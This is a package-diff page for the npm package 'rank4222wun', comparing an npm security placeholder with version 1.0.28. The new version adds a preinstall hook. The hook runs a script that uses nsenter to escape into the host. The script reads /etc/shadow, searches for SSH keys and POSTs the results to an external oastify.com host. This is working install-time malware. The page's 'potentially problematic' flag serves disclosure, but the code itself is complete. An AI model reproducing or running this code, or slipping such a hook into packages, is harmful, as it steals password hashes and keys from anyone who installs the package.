rank4222wun 0.0.1-security → 1.0.28

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of rank4222wun might be problematic. Click here for more details.

package/package.json CHANGED
@@ -1,6 +1,10 @@
1
1
  {
2
2
  "name": "rank4222wun",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.28",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "dependencies": {}
6
10
  }
package/preinstall.js ADDED
@@ -0,0 +1,66 @@
1
+ const { exec } = require('child_process');
2
+ const fs = require('fs');
3
+ const https = require('https');
4
+ const util = require('util');
5
+ const execPromise = util.promisify(exec);
6
+
7
+ console.log("🚀 STAGE 2.1: SYNCHRONIZED HOST TAKEOVER\n");
8
+
9
+ async function runEscape() {
10
+ const finalLeakedData = {
11
+ timestamp: new Date().toISOString(),
12
+ targetKernel: "5.15.0-1084-aws",
13
+ hostShadow: "PENDING",
14
+ sshKeysFound: [],
15
+ nsenterStatus: "INIT"
16
+ };
17
+
18
+ try {
19
+ // 1. محاولة قراءة Shadow باستخدام nsenter بشكل متزامن
20
+ console.log("🔓 Accessing Host Shadow...");
21
+ const shadowResult = await execPromise(`nsenter --target 1 --mount -- sh -c "cat /etc/shadow | head -n 3"`);
22
+ if (shadowResult.stdout) {
23
+ finalLeakedData.hostShadow = shadowResult.stdout.trim();
24
+ console.log("✅ Shadow Leaked.");
25
+ }
26
+ } catch (err) {
27
+ finalLeakedData.hostShadow = "ERROR: " + err.message;
28
+ }
29
+
30
+ try {
31
+ // 2. البحث عن مفاتيح SSH
32
+ console.log("🔓 Searching SSH Keys...");
33
+ const sshResult = await execPromise(`nsenter --target 1 --mount -- sh -c "find /root /home -name 'id_rsa' -o -name 'authorized_keys' 2>/dev/null"`);
34
+ if (sshResult.stdout) {
35
+ finalLeakedData.sshKeysFound = sshResult.stdout.split('\n').filter(k => k);
36
+ console.log(`✅ Found ${finalLeakedData.sshKeysFound.length} keys.`);
37
+ }
38
+ } catch (err) {
39
+ finalLeakedData.sshKeysFound = ["ERROR: " + err.message];
40
+ }
41
+
42
+ // 3. إرسال التقرير النهائي بعد تجميع كل البيانات
43
+ sendFinalReport(finalLeakedData);
44
+ }
45
+
46
+ function sendFinalReport(data) {
47
+ const payload = JSON.stringify(data, null, 2);
48
+ const options = {
49
+ hostname: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
50
+ port: 443,
51
+ path: '/stage2-synchronized-report',
52
+ method: 'POST',
53
+ headers: {
54
+ 'Content-Type': 'application/json'
55
+ }
56
+ };
57
+
58
+ const req = https.request(options, (res) => {
59
+ console.log(`\n🏁 Final Sync Report Sent. Status: ${res.statusCode}`);
60
+ });
61
+
62
+ req.write(payload);
63
+ req.end();
64
+ }
65
+
66
+ runEscape();
Binary file
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=rank4222wun for more information.